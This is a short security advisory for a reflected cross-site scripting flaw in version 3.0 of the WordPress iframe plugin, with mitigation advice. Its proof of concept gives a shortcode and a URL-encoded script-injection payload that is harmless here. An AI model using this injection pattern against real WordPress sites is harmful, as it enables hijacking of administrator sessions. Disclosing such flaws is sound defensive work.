Reflective Cross Site Scripting in WordPress iframe 3.

Code
`Details  
================  
Software: iframe  
Version: 3.0  
Homepage: http://wordpress.org/plugins/iframe/  
Advisory report: https://security.dxw.com/advisories/reflected-xss-in-iframe-allows-unauthenticated-users-to-do-almost-anything-an-admin-can/  
CVE: Awaiting assignment  
CVSS: 5.8 (Medium; AV:N/AC:M/Au:N/C:P/I:P/A:N)  
  
Description  
================  
Reflected XSS in iframe allows unauthenticated users to do almost anything an admin can  
  
Vulnerability  
================  
If the “get_params_from_url” option is used in the iframe shortcode, the page/post it’s on is opened up to a reflected XSS attack.  
  
Proof of concept  
================  
Paste the following into a post:  
[iframe src=\"http://www.youtube.com/embed/4qsGTXLnmKs\" width=\"100%\" height=\"500\" get_params_from_url=\"1\"]  
Visit the post in a browser that doesn’t attempt to mitigate XSS attacks (i.e. Firefox) and add some extra parameters:  
http://localhost/2015/07/31/iframe/?a=%22%3E%3C/iframe%3E%3Cscript%3Ealert(`hello%20world`)%3C/script%3E  
  
Mitigations  
================  
Upgrade to version 4.0 or later  
If this is not possible, ensure that the ‘get_params_from_url’ argument is never used in the shortcode.
